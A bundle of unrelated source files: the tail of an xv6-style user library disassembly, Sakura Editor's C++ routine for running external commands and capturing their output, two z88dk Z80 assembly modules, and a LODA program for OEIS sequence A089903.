367: c3 ret
368: 90 nop
369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000370 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 56 push %esi
374: 53 push %ebx
375: 8b 5d 10 mov 0x10(%ebp),%ebx
378: 8b 45 08 mov 0x8(%ebp),%eax
37b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
37e: 85 db test %ebx,%ebx
380: 7e 14 jle 396 <memmove+0x26>
382: 31 d2 xor %edx,%edx
384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
388: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
38c: 88 0c 10 mov %cl,(%eax,%edx,1)
38f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
392: 39 d3 cmp %edx,%ebx
394: 75 f2 jne 388 <memmove+0x18>
return vdst;
}
396: 5b pop %ebx
397: 5e pop %esi
398: 5d pop %ebp
399: c3 ret
0000039a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
39a: b8 01 00 00 00 mov $0x1,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <exit>:
SYSCALL(exit)
3a2: b8 02 00 00 00 mov $0x2,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <wait>:
SYSCALL(wait)
3aa: b8 03 00 00 00 mov $0x3,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <pipe>:
SYSCALL(pipe)
3b2: b8 04 00 00 00 mov $0x4,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <read>:
SYSCALL(read)
3ba: b8 05 00 00 00 mov $0x5,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <write>:
SYSCALL(write)
3c2: b8 10 00 00 00 mov $0x10,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <close>:
SYSCALL(close)
3ca: b8 15 00 00 00 mov $0x15,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <kill>:
SYSCALL(kill)
3d2: b8 06 00 00 00 mov $0x6,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <exec>:
SYSCALL(exec)
3da: b8 07 00 00 00 mov $0x7,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <open>:
SYSCALL(open)
3e2: b8 0f 00 00 00 mov $0xf,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <mknod>:
SYSCALL(mknod)
3ea: b8 11 00 00 00 mov $0x11,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <unlink>:
SYSCALL(unlink)
3f2: b8 12 00 00 00 mov $0x12,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <fstat>:
SYSCALL(fstat)
3fa: b8 08 00 00 00 mov $0x8,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <link>:
SYSCALL(link)
402: b8 13 00 00 00 mov $0x13,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <mkdir>:
SYSCALL(mkdir)
40a: b8 14 00 00 00 mov $0x14,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <chdir>:
SYSCALL(chdir)
412: b8 09 00 00 00 mov $0x9,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <dup>:
SYSCALL(dup)
41a: b8 0a 00 00 00 mov $0xa,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <getpid>:
SYSCALL(getpid)
422: b8 0b 00 00 00 mov $0xb,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <sbrk>:
SYSCALL(sbrk)
42a: b8 0c 00 00 00 mov $0xc,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <sleep>:
SYSCALL(sleep)
432: b8 0d 00 00 00 mov $0xd,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <uptime>:
SYSCALL(uptime)
43a: b8 0e 00 00 00 mov $0xe,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <ticketlockInit>:
SYSCALL(ticketlockInit)
442: b8 16 00 00 00 mov $0x16,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <ticketlockTest>:
SYSCALL(ticketlockTest)
44a: b8 17 00 00 00 mov $0x17,%eax
44f: cd 40 int $0x40
451: c3 ret
00000452 <rwinit>:
SYSCALL(rwinit)
452: b8 18 00 00 00 mov $0x18,%eax
457: cd 40 int $0x40
459: c3 ret
0000045a <rwtest>:
45a: b8 19 00 00 00 mov $0x19,%eax
45f: cd 40 int $0x40
461: c3 ret
|
/*! @file
@brief 外部コマンドの実行
@author Norio Nakatani
@date 1998/03/13 作成
@date 2008/04/13 CEditView.cppから分離
*/
/*
Copyright (C) 1998-2002, Norio Nakatani
Copyright (C) 2000, genta, JEPRO, MIK
Copyright (C) 2001, genta, GAE, MIK, hor, asa-o, Stonee, Misaka, novice, YAZAKI
Copyright (C) 2002, YAZAKI, hor, aroka, MIK, Moca, minfu, KK, novice, ai, Azumaiya, genta
Copyright (C) 2003, MIK, ai, ryoji, Moca, wmlhq, genta
Copyright (C) 2004, genta, Moca, novice, naoh, isearch, fotomo
Copyright (C) 2005, genta, MIK, novice, aroka, D.S.Koba, かろと, Moca
Copyright (C) 2006, Moca, aroka, ryoji, fon, genta
Copyright (C) 2007, ryoji, じゅうじ, maru
Copyright (C) 2018-2021, Sakura Editor Organization
This source code is designed for sakura editor.
Please contact the copyright holders to use this code for other purpose.
*/
#include "StdAfx.h"
#include "CEditView.h"
#include "_main/CAppMode.h"
#include "env/CShareData.h"
#include "env/DLLSHAREDATA.h"
#include "env/CFormatManager.h"
#include "dlg/CDlgCancel.h"
#include "charset/CCodeFactory.h"
#include "charset/CUtf8.h"
#include "charset/CShiftJis.h"
#include "util/window.h"
#include "util/tchar_template.h"
#include "sakura_rc.h" // IDD_EXECRUNNING
// -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- //
// 外部コマンド //
// -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- //
class COutputAdapterDefault : public COutputAdapter
{
public:
COutputAdapterDefault(CEditView* view, BOOL bToEditWindow) : m_bWindow(bToEditWindow), m_view(view)
{
m_pCShareData = CShareData::getInstance();
m_pCommander = &(view->GetCommander());
}
~COutputAdapterDefault(){};
bool OutputW(const WCHAR* pBuf, int size = -1) override;
bool OutputA(const ACHAR* pBuf, int size = -1) override;
bool IsActiveDebugWindow(){ return FALSE == m_bWindow; }
protected:
void OutputBuf(const WCHAR* pBuf, int size);
BOOL m_bWindow;
CEditView* m_view;
CShareData* m_pCShareData;
CViewCommander* m_pCommander;
};
class COutputAdapterUTF8 final : public COutputAdapterDefault
{
public:
COutputAdapterUTF8(CEditView* view, BOOL bToEditWindow) : COutputAdapterDefault(view, bToEditWindow)
,pcCodeBase(CCodeFactory::CreateCodeBase(CODE_UTF8,0))
{}
~COutputAdapterUTF8(){};
bool OutputA(const ACHAR* pBuf, int size = -1) override;
protected:
std::unique_ptr<CCodeBase> pcCodeBase;
};
/*! @brief 外部コマンドの実行
@param[in] pszCmd コマンドライン
@param[in] nFlgOpt オプション
@li 0x01 標準出力を得る
@li 0x02 標準出力のリダイレクト先(無効=アウトプットウィンドウ / 有効=編集中のウィンドウ)
@li 0x04 編集中ファイルを標準入力へ
@li 0x08 標準出力をUnicodeで行う
@li 0x10 標準入力をUnicodeで行う
@li 0x20 情報出力する
@li 0x40 情報出力しない
@li 0x80 標準出力をUTF-8で行う
@li 0x100 標準入力をUTF-8で行う
@li 0x200 カレントディレクトリを指定
@note 子プロセスの標準出力取得はパイプを使用する
@note 子プロセスの標準入力への送信は一時ファイルを使用
@author N.Nakatani
@date 2001/06/23
@date 2001/06/30 GAE
@date 2002/01/24 YAZAKI 1バイト取りこぼす可能性があった
@date 2003/06/04 genta
@date 2004/09/20 naoh 多少は見やすく・・・
@date 2004/01/23 genta
@date 2004/01/28 Moca 改行コードが分割されるのを防ぐ
@date 2007/03/18 maru オプションの拡張
@date 2008/06/07 Uchi Unidoeの使用
@date 2009/02/21 ryoji ビューモードや上書き禁止のときは編集中ウィンドウへは出力しない(指定時はアウトプットへ)
@date 2010/04/12 Moca nFlgOptの0x20,0x40追加。無限出力対策。WM_QUIT対策。UnicodeのCarry周りの修正
TODO: 標準入力・標準エラーの取込選択。カレントディレクトリ。UTF-8等への対応
*/
bool CEditView::ExecCmd( const WCHAR* pszCmd, int nFlgOpt, const WCHAR* pszCurDir, COutputAdapter* customOa )
{
HANDLE hStdOutWrite, hStdOutRead, hStdIn;
PROCESS_INFORMATION pi;
ZeroMemory( &pi, sizeof(pi) );
CDlgCancel cDlgCancel;
COutputAdapter* oaInst = NULL;
bool bEditable = m_pcEditDoc->IsEditable();
// From Here 2006.12.03 maru 引数を拡張のため
BOOL bGetStdout = nFlgOpt & 0x01 ? TRUE : FALSE; // 子プロセスの標準出力を得る
BOOL bToEditWindow = ((nFlgOpt & 0x02) && bEditable) ? TRUE : FALSE; // TRUE=編集中のウィンドウ / FALSAE=アウトプットウィンドウ
BOOL bSendStdin = nFlgOpt & 0x04 ? TRUE : FALSE; // 編集中ファイルを子プロセスSTDINに渡す
// BOOL bIOUnicodeGet = nFlgOpt & 0x08 ? TRUE : FALSE; // 標準出力をUnicodeで行う 2008/6/17 Uchi
// BOOL bIOUnicodeSend = nFlgOpt & 0x10 ? TRUE : FALSE; // 標準入力をUnicodeで行う 2008/6/20 Uchi
ECodeType outputEncoding;
if( nFlgOpt & 0x08 ){
outputEncoding = CODE_UNICODE;
}else if( nFlgOpt & 0x80 ){
outputEncoding = CODE_UTF8;
}else{
outputEncoding = CODE_SJIS;
}
ECodeType sendEncoding;
if( nFlgOpt & 0x10 ){
sendEncoding = CODE_UNICODE;
}else if( nFlgOpt & 0x100 ){
sendEncoding = CODE_UTF8;
}else{
sendEncoding = CODE_SJIS;
}
// To Here 2006.12.03 maru 引数を拡張のため
// 2010.04.12 Moca 情報出力
BOOL bOutputExtInfo = !bToEditWindow;
if( nFlgOpt & 0x20 ) bOutputExtInfo = TRUE;
if( nFlgOpt & 0x40 ) bOutputExtInfo = FALSE;
bool bCurDir = (nFlgOpt & 0x200) == 0x200;
// 編集中のウィンドウに出力する場合の選択範囲処理用 /* 2007.04.29 maru */
CLayoutPoint ptFrom( 0, 0 );
bool bBeforeTextSelected = GetSelectionInfo().IsTextSelected();
if (bBeforeTextSelected){
ptFrom = this->GetSelectionInfo().m_sSelect.GetFrom();
}
//子プロセスの標準出力と接続するパイプを作成
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
if( CreatePipe( &hStdOutRead, &hStdOutWrite, &sa, 1000 ) == FALSE ) {
//エラー。対策無し
return false;
}
//hStdOutReadのほうは子プロセスでは使用されないので継承不能にする(子プロセスのリソースを無駄に増やさない)
DuplicateHandle( GetCurrentProcess(), hStdOutRead,
GetCurrentProcess(), &hStdOutRead, // 新しい継承不能ハンドルを受け取る // 2007.01.31 ryoji
0, FALSE,
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS ); // 元の継承可能ハンドルは DUPLICATE_CLOSE_SOURCE で閉じる // 2007.01.31 ryoji
// From Here 2007.03.18 maru 子プロセスの標準入力ハンドル
// CDocLineMgr::WriteFileなど既存のファイル出力系の関数のなかには
// ファイルハンドルを返すタイプのものがないので、一旦書き出してから
// 一時ファイル属性でオープンすることに。
hStdIn = NULL;
if(bSendStdin){ /* 現在編集中のファイルを子プロセスの標準入力へ */
WCHAR szPathName[MAX_PATH];
WCHAR szTempFileName[MAX_PATH];
int nFlgOpt;
GetTempPath( MAX_PATH, szPathName );
GetTempFileName( szPathName, TEXT("skr_"), 0, szTempFileName );
DEBUG_TRACE( L"CEditView::ExecCmd() TempFilename=[%s]\n", szTempFileName );
nFlgOpt = bBeforeTextSelected ? 0x01 : 0x00; /* 選択範囲を出力 */
if( !GetCommander().Command_PUTFILE( szTempFileName, sendEncoding, nFlgOpt) ){ // 一時ファイル出力
hStdIn = NULL;
} else {
// 子プロセスへの継承用にファイルを開く
hStdIn = CreateFile(
szTempFileName,
GENERIC_READ,
0,
&sa,
OPEN_EXISTING,
FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
if(hStdIn == INVALID_HANDLE_VALUE) hStdIn = NULL;
}
}
if (hStdIn == NULL) { /* 標準入力を制御しない場合、または一時ファイルの生成に失敗した場合 */
bSendStdin = FALSE;
hStdIn = GetStdHandle( STD_INPUT_HANDLE );
if(hStdIn == NULL){
// 2013.06.12 Moca 標準入力ハンドルを用意する
HANDLE hStdInWrite = NULL;
if( CreatePipe( &hStdIn, &hStdInWrite, &sa, 1000 ) == FALSE ) {
//エラー
hStdIn = hStdInWrite = NULL;
}
if( hStdInWrite != NULL ){
::CloseHandle( hStdInWrite );
}
}
}
// To Here 2007.03.18 maru 子プロセスの標準入力ハンドル
//CreateProcessに渡すSTARTUPINFOを作成
STARTUPINFO sui;
ZeroMemory( &sui, sizeof(sui) );
sui.cb = sizeof(sui);
if( bGetStdout || bSendStdin ) {
sui.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
sui.wShowWindow = bGetStdout ? SW_HIDE : SW_SHOW;
sui.hStdInput = hStdIn;
sui.hStdOutput = bGetStdout ? hStdOutWrite : GetStdHandle( STD_OUTPUT_HANDLE );
sui.hStdError = bGetStdout ? hStdOutWrite : GetStdHandle( STD_ERROR_HANDLE );
}
bool bRet = false;
//コマンドライン実行
WCHAR cmdline[1024];
wcscpy( cmdline, pszCmd );
if( CreateProcess( NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_CONSOLE, NULL, bCurDir ? pszCurDir : NULL, &sui, &pi ) == FALSE ) {
//実行に失敗した場合、コマンドラインベースのアプリケーションと判断して
// command(9x) か cmd(NT) を呼び出す
// 2010.08.27 Moca システムディレクトリ付加
WCHAR szCmdDir[_MAX_PATH];
::GetSystemDirectory(szCmdDir, _countof(szCmdDir));
//コマンドライン文字列作成
auto_sprintf(
cmdline,
L"\"%s\\%s\" %s%s%s",
szCmdDir,
L"cmd.exe",
( outputEncoding == CODE_UNICODE ? L"/U" : L"" ), // Unicdeモードでコマンド実行 2008/6/17 Uchi
( bGetStdout ? L"/C " : L"/K " ),
pszCmd
);
if( CreateProcess( NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_CONSOLE, NULL, bCurDir ? pszCurDir : NULL, &sui, &pi ) == FALSE ) {
MessageBox( NULL, cmdline, LS(STR_EDITVIEW_EXECCMD_ERR), MB_OK | MB_ICONEXCLAMATION );
goto finish;
}
}
// ファイル全体に対するフィルタ動作
// 現在編集中のファイルからのデータ書きだしおよびデータ取り込みが
// 指定されていて,かつ範囲選択が行われていない場合は
// 「すべて選択」されているものとして,編集データ全体を
// コマンドの出力結果と置き換える.
// 2007.05.20 maru
if(!bBeforeTextSelected && bSendStdin && bGetStdout && bToEditWindow){
GetSelectionInfo().SetSelectArea(
CLayoutRange(
CLayoutPoint(CLayoutInt(0), CLayoutInt(0)),
CLayoutPoint(CLayoutInt(0), m_pcEditDoc->m_cLayoutMgr.GetLineCount())
)
);
DeleteData( true );
}
// hStdOutWrite は CreateProcess() で継承したので親プロセスでは用済み
// hStdInも親プロセスでは使用しないが、Win9x系では子プロセスが終了してから
// クローズするようにしないと一時ファイルが自動削除されない
CloseHandle(hStdOutWrite);
hStdOutWrite = NULL; // 2007.09.08 genta 二重closeを防ぐ
if( bGetStdout ) {
DWORD new_cnt;
int bufidx = 0;
bool bLoopFlag = true;
bool bCancelEnd = false; // キャンセルでプロセス停止
oaInst = (customOa
? NULL
: (outputEncoding == CODE_UTF8
? new COutputAdapterUTF8(this, bToEditWindow)
: new COutputAdapterDefault(this, bToEditWindow)) );
COutputAdapter& oa = customOa ? *customOa: *oaInst;
//中断ダイアログ表示
if( oa.IsEnableRunningDlg() ){
cDlgCancel.DoModeless( G_AppInstance(), m_hwndParent, IDD_EXECRUNNING );
// ダイアログにコマンドを表示
::DlgItem_SetText( cDlgCancel.GetHwnd(), IDC_STATIC_CMD, pszCmd );
}
//実行したコマンドラインを表示
// 2004.09.20 naoh 多少は見やすく・・・
// 2006.12.03 maru アウトプットウィンドウにのみ出力
if (bOutputExtInfo)
{
WCHAR szTextDate[1024], szTextTime[1024];
SYSTEMTIME systime;
::GetLocalTime( &systime );
CFormatManager().MyGetDateFormat( systime, szTextDate, _countof( szTextDate ) - 1 );
CFormatManager().MyGetTimeFormat( systime, szTextTime, _countof( szTextTime ) - 1 );
WCHAR szOutTemp[1024*2+100];
oa.OutputW( L"\r\n" );
oa.OutputW( L"#============================================================\r\n" );
int len = auto_snprintf_s( szOutTemp, _countof(szOutTemp),
L"#DateTime : %s %s\r\n", szTextDate, szTextTime );
oa.OutputW( szOutTemp, len );
len = auto_snprintf_s( szOutTemp, _countof(szOutTemp),
L"#CmdLine : %s\r\n", pszCmd );
oa.OutputW( szOutTemp, len );
oa.OutputW( L"#============================================================\r\n" );
}
//charで読む
typedef char PIPE_CHAR;
const int WORK_NULL_TERMS = sizeof(wchar_t); // 出力用\0の分
const int MAX_BUFIDX = 10; // bufidxの分
const DWORD MAX_WORK_READ = 1024*5; // 5KiB ReadFileで読み込む限界値
// 2010.04.13 Moca バッファサイズの調整 1022 Byte 読み取りを 5KiBに変更
// ボトルネックはアウトプットウィンドウへの転送
// 相手のプログラムがVC9のstdoutではデフォルトで4096。VC6,VC8やWinXPのtypeコマンドでは1024
// テキストモードだと new_cntが改行に\rがつく分だけ向こう側の設定値より多く一度に送られてくる
// 4KBだと 4096 -> 100 -> 4096 -> 100 のように読み取ることになるので5KBにした
PIPE_CHAR work[MAX_WORK_READ + MAX_BUFIDX + WORK_NULL_TERMS];
//実行結果の取り込み
do {
//プロセスが終了していないか確認
// Jun. 04, 2003 genta CPU消費を減らすために200msec待つ
// その間メッセージ処理が滞らないように待ち方をWaitForSingleObjectから
// MsgWaitForMultipleObjectに変更
// Jan. 23, 2004 genta
// 子プロセスの出力をどんどん受け取らないと子プロセスが
// 停止してしまうため,待ち時間を200msから20msに減らす
switch( MsgWaitForMultipleObjects( 1, &pi.hProcess, FALSE, 20, QS_ALLEVENTS )){
case WAIT_OBJECT_0:
//終了していればループフラグをfalseとする
//ただしループの終了条件は プロセス終了 && パイプが空
bLoopFlag = false;
break;
case WAIT_OBJECT_0 + 1:
//処理中のユーザー操作を可能にする
if( !::BlockingHook( cDlgCancel.GetHwnd() ) ){
// WM_QUIT受信。ただちに終了処理
::TerminateProcess( pi.hProcess, 0 );
goto finish;
}
break;
default:
break;
}
//中断ボタン押下チェック
if( cDlgCancel.IsCanceled() ){
//指定されたプロセスと、そのプロセスが持つすべてのスレッドを終了させます。
::TerminateProcess( pi.hProcess, 0 );
bCancelEnd = true;
break;
}
new_cnt = 0;
if( PeekNamedPipe( hStdOutRead, NULL, 0, NULL, &new_cnt, NULL ) ) { //パイプの中の読み出し待機中の文字数を取得
while( new_cnt > 0 ) { //待機中のものがある
if( new_cnt > MAX_WORK_READ) { //パイプから読み出す量を調整
new_cnt = MAX_WORK_READ;
}
DWORD read_cnt = 0;
::ReadFile( hStdOutRead, &work[bufidx], new_cnt, &read_cnt, NULL ); //パイプから読み出し
read_cnt += bufidx; //work内の実際のサイズにする
if( read_cnt == 0 ) {
// Jan. 23, 2004 genta while追加のため制御を変更
break;
}
// Unicode で データを受け取る start 2008/6/8 Uchi
if( outputEncoding == CODE_UNICODE ){
wchar_t* workw;
int read_cntw;
bool bCarry;
char byteCarry = 0;
workw = (wchar_t*)work;
read_cntw = (int)read_cnt/sizeof(wchar_t);
if( read_cnt % (int)sizeof(wchar_t) ){
byteCarry = work[read_cnt-1];
}
if(read_cntw){
workw[read_cntw] = L'\0';
bCarry = false;
//読み出した文字列をチェックする
if (workw[read_cntw-1] == L'\r') {
bCarry = true;
read_cntw -= 1; // 2010.04.12 1文字余分に消されてた
workw[read_cntw] = L'\0';
}
if( !oa.OutputW( workw, read_cntw ) ){
goto finish;
}
bufidx = 0;
if (bCarry) {
workw[0] = L'\r'; // 2010.04.12 'r' -> '\r'
bufidx = sizeof(wchar_t);
DEBUG_TRACE( L"ExecCmd: Carry last character [CR]\n" );
}
}
if( read_cnt % (int)sizeof(wchar_t) ){
// 高確率で0だと思うが1だと困る
DEBUG_TRACE( L"ExecCmd: Carry Unicode 1byte [%x]\n", byteCarry );
work[bufidx] = byteCarry;
bufidx += 1;
}
}
// end 2008/6/8 Uchi
else if (outputEncoding == CODE_SJIS) {
//読み出した文字列をチェックする
// \r\n を \r だけとか漢字の第一バイトだけを出力するのを防ぐ必要がある
//@@@ 2002.1.24 YAZAKI 1バイト取りこぼす可能性があった。
// Jan. 28, 2004 Moca 最後の文字はあとでチェックする
int j;
for( j=0; j<(int)read_cnt - 1; j++ ) {
// 2007.09.10 ryoji
if( CShiftJis::GetSizeOfChar(work, read_cnt, j) == 2 ) {
j++;
} else {
if( work[j] == _T2(PIPE_CHAR,'\r') && work[j+1] == _T2(PIPE_CHAR,'\n') ) {
j++;
}
}
}
// From Here Jan. 28, 2004 Moca
// 改行コードが分割されるのを防ぐ
if( (DWORD)j == read_cnt - 1 ){
if( _IS_SJIS_1(work[j]) ) {
j = read_cnt + 1; // ぴったり出力できないことを主張
}else if( work[j] == _T2(PIPE_CHAR,'\r') ) {
// CRLFの一部ではない改行が末尾にある
// 次の読み込みで、CRLFの一部になる可能性がある
j = read_cnt + 1;
}else{
j = read_cnt;
}
}
// To Here Jan. 28, 2004 Moca
if( j == (int)read_cnt ) { //ぴったり出力できる場合
work[read_cnt] = '\0';
// 2006.12.03 maru アウトプットウィンドウor編集中のウィンドウ分岐追加
if( !oa.OutputA( work, read_cnt ) ){
goto finish;
}
bufidx = 0;
}
else {
char tmp = work[read_cnt-1];
work[read_cnt-1] = '\0';
// 2006.12.03 maru アウトプットウィンドウor編集中のウィンドウ分岐追加
if( !oa.OutputA( work, read_cnt-1 ) ){
goto finish;
}
work[0] = tmp;
bufidx = 1;
DEBUG_TRACE( L"ExecCmd: Carry last character [%x]\n", tmp );
}
}
else if (outputEncoding == CODE_UTF8) {
int j;
int checklen = 0;
for( j = 0; j < (int)read_cnt;){
ECharSet echarset;
checklen = CheckUtf8Char2(work + j , read_cnt - j, &echarset, true, 0);
if( echarset == CHARSET_BINARY2 ){
break;
}else if( read_cnt - 1 == j && work[j] == _T2(PIPE_CHAR,'\r') ){
// CRLFの一部ではない改行が末尾にある
// 次の読み込みで、CRLFの一部になる可能性がある
break;
}else{
j += checklen;
}
}
if( j == (int)read_cnt ) { //ぴったり出力できる場合
work[read_cnt] = '\0';
// 2006.12.03 maru アウトプットウィンドウor編集中のウィンドウ分岐追加
if( !oa.OutputA(work, read_cnt) ){
goto finish;
}
bufidx = 0;
}
else {
DEBUG_TRACE(L"read_cnt %d j %d\n", read_cnt, j);
char tmp[5];
int len = read_cnt - j;
memcpy(tmp, &work[j], len);
work[j] = '\0';
// 2006.12.03 maru アウトプットウィンドウor編集中のウィンドウ分岐追加
if( !oa.OutputA(work, j) ){
goto finish;
}
memcpy(work, tmp, len);
bufidx = len;
DEBUG_TRACE(L"ExecCmd: Carry last character [%x]\n", tmp[0]);
}
}
// Jan. 23, 2004 genta
// 子プロセスの出力をどんどん受け取らないと子プロセスが
// 停止してしまうため,バッファが空になるまでどんどん読み出す.
new_cnt = 0;
if( ! PeekNamedPipe( hStdOutRead, NULL, 0, NULL, &new_cnt, NULL ) ){
break;
}
Sleep(0);
// 2010.04.12 Moca 相手が出力しつづけていると止められないから
// BlockingHookとキャンセル確認を読取ループ中でも行う
// bLoopFlag が立っていないときは、すでにプロセスは終了しているからTerminateしない
if( !::BlockingHook( cDlgCancel.GetHwnd() ) ){
if( bLoopFlag ){
::TerminateProcess( pi.hProcess, 0 );
}
goto finish;
}
if( cDlgCancel.IsCanceled() ){
//指定されたプロセスと、そのプロセスが持つすべてのスレッドを終了させます。
if( bLoopFlag ){
::TerminateProcess( pi.hProcess, 0 );
}
bCancelEnd = true;
goto user_cancel;
}
}
}
} while( bLoopFlag || new_cnt > 0 );
user_cancel:
// 最後の文字の出力(たいていCR)
if( 0 < bufidx ){
if( outputEncoding == CODE_UNICODE ){
if( bufidx % (int)sizeof(wchar_t) ){
DEBUG_TRACE( L"ExecCmd: Carry last Unicode byte [%x]\n", work[bufidx-1] );
// UTF-16なのに奇数バイトだった
work[bufidx] = 0x00; // 上位バイトを0にしてごまかす
bufidx += 1;
}
wchar_t* workw = (wchar_t*)work;
int bufidxw = bufidx / (int)sizeof(wchar_t);
workw[bufidxw] = L'\0';
oa.OutputW( workw, bufidxw );
}else if( outputEncoding == CODE_SJIS ) {
work[bufidx] = '\0';
oa.OutputA( work, bufidx );
}else if( outputEncoding == CODE_UTF8 ) {
work[bufidx] = '\0';
oa.OutputA( work, bufidx );
}
}
if( bCancelEnd && bOutputExtInfo ){
// 2006.12.03 maru アウトプットウィンドウにのみ出力
//最後にテキストを追加
oa.OutputW( LS(STR_EDITVIEW_EXECCMD_STOP) );
}
{
// 2006.12.03 maru アウトプットウィンドウにのみ出力
// Jun. 04, 2003 genta 終了コードの取得と出力
DWORD result;
::GetExitCodeProcess( pi.hProcess, &result );
if( bOutputExtInfo ){
WCHAR endCode[128];
auto_sprintf( endCode, LS(STR_EDITVIEW_EXECCMD_RET), result );
oa.OutputW( endCode );
}
// 2004.09.20 naoh 終了コードが1以上の時はアウトプットをアクティブにする
if(!bToEditWindow && result > 0 && oa.IsActiveDebugWindow() ){
ActivateFrameWindow( GetDllShareData().m_sHandles.m_hwndDebug );
}
}
if (bToEditWindow) {
if (bBeforeTextSelected){ // 挿入された部分を選択状態に
GetSelectionInfo().SetSelectArea(
CLayoutRange(
ptFrom,
GetCaret().GetCaretLayoutPos()// CLayoutPoint(m_nCaretPosY, m_nCaretPosX )
)
);
GetSelectionInfo().DrawSelectArea();
}
// 2006.12.03 maru 編集中のウィンドウに出力時は最後に再描画
RedrawAll();
}
if( !bCancelEnd ){
bRet = true;
}
}else{
bRet = true;
}
finish:
//終了処理
if(hStdIn != NULL) CloseHandle( hStdIn ); /* 2007.03.18 maru 標準入力の制御のため */
if(hStdOutWrite) CloseHandle( hStdOutWrite );
CloseHandle( hStdOutRead );
if( pi.hProcess ) CloseHandle( pi.hProcess );
if( pi.hThread ) CloseHandle( pi.hThread );
delete oaInst;
return bRet;
}
/*!
@param pBuf size未指定なら要NUL終端
@param size WCHAR単位
*/
void COutputAdapterDefault::OutputBuf(const WCHAR* pBuf, int size)
{
if( m_bWindow ){
m_pCommander->Command_INSTEXT( false, pBuf, CLogicInt(size), true);
}else{
m_pCShareData->TraceOutString( pBuf , size );
}
}
bool COutputAdapterDefault::OutputW(const WCHAR* pBuf, int size)
{
OutputBuf(pBuf, size);
return true;
}
/*
@param pBuf size未指定なら要NUL終端
@param size ACHAR単位
*/
bool COutputAdapterDefault::OutputA(const ACHAR* pBuf, int size)
{
CNativeA input;
CNativeW buf;
if( -1 == size ){
input.SetString(pBuf);
}else{
input.SetString(pBuf,size);
}
auto pcCodeBase = std::unique_ptr<CCodeBase>(CCodeFactory::CreateCodeBase(ECodeType::CODE_SJIS, 0));
pcCodeBase->CodeToUnicode(*input._GetMemory(), &buf);
OutputBuf( buf.GetStringPtr(), (int)buf.GetStringLength() );
return true;
}
/*
@param pBuf size未指定なら要NUL終端
@param size ACHAR単位
*/
bool COutputAdapterUTF8::OutputA(const ACHAR* pBuf, int size)
{
CMemory input;
CNativeW buf;
if( -1 == size ){
input.SetRawData(pBuf, strlen(pBuf));
}else{
input.SetRawData(pBuf, size);
}
pcCodeBase->CodeToUnicode(input, &buf);
OutputBuf( buf.GetStringPtr(), (int)buf.GetStringLength() );
return true;
}
|
;
; Otrona Attachè graphics routines
; console driven video HW access
;
; Stefano Bodrato 2018
;
;
;
; $Id: w_undrawto.asm $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC undrawto
PUBLIC _undrawto
EXTERN drawto
EXTERN setres
.undrawto
._undrawto
CALL setres
jp drawto
|
; A089903: Sum of digits of numbers between 0 and (1/9)*(10^n-1).
; Submitted by Christian Krause
; 0,1,48,960,14572,195684,2456796,29567908,345679020,3956790132,44567901244,495679012356,5456790123468,59567901234580,645679012345692,6956790123456804,74567901234567916,795679012345679028
mov $2,$0
lpb $0
sub $0,1
add $1,1
mul $2,10
sub $2,$1
add $1,6
sub $2,$1
add $1,1
lpe
mov $0,$2
div $0,2
|
INCLUDE "clib_cfg.asm"
SECTION code_driver
SECTION code_driver_terminal_input
PUBLIC zx_01_input_lastk_iterm_msg_getc
EXTERN zx_01_input_lastk_proc_lastk, error_zc, error_mc
zx_01_input_lastk_iterm_msg_getc:
; enter : ix = & FDSTRUCT.JP
;
; exit : a = keyboard char after character set translation
; carry set on error, hl = 0 (stream error) or -1 (eof)
;
; can use : af, bc, de, hl
call zx_01_input_lastk_proc_lastk
ret z ; if LASTK == 0 return NUL
; hl = LASTK
loop:
ld a,(hl)
or a
jr z, loop ; if no keypress
ld (hl),0 ; consume the keypress
; insert character set translation here
; must translate to the clib charset
cp 10
jr z, key_cr
cp 13
jr z, key_lf
cp CHAR_CTRL_D
jp z, error_mc
exit:
ld l,a ; a = hl = ascii code
ld h,0
or a
ret
key_cr:
ld a,CHAR_CR
jr exit
key_lf:
ld a,CHAR_LF
jr exit
|
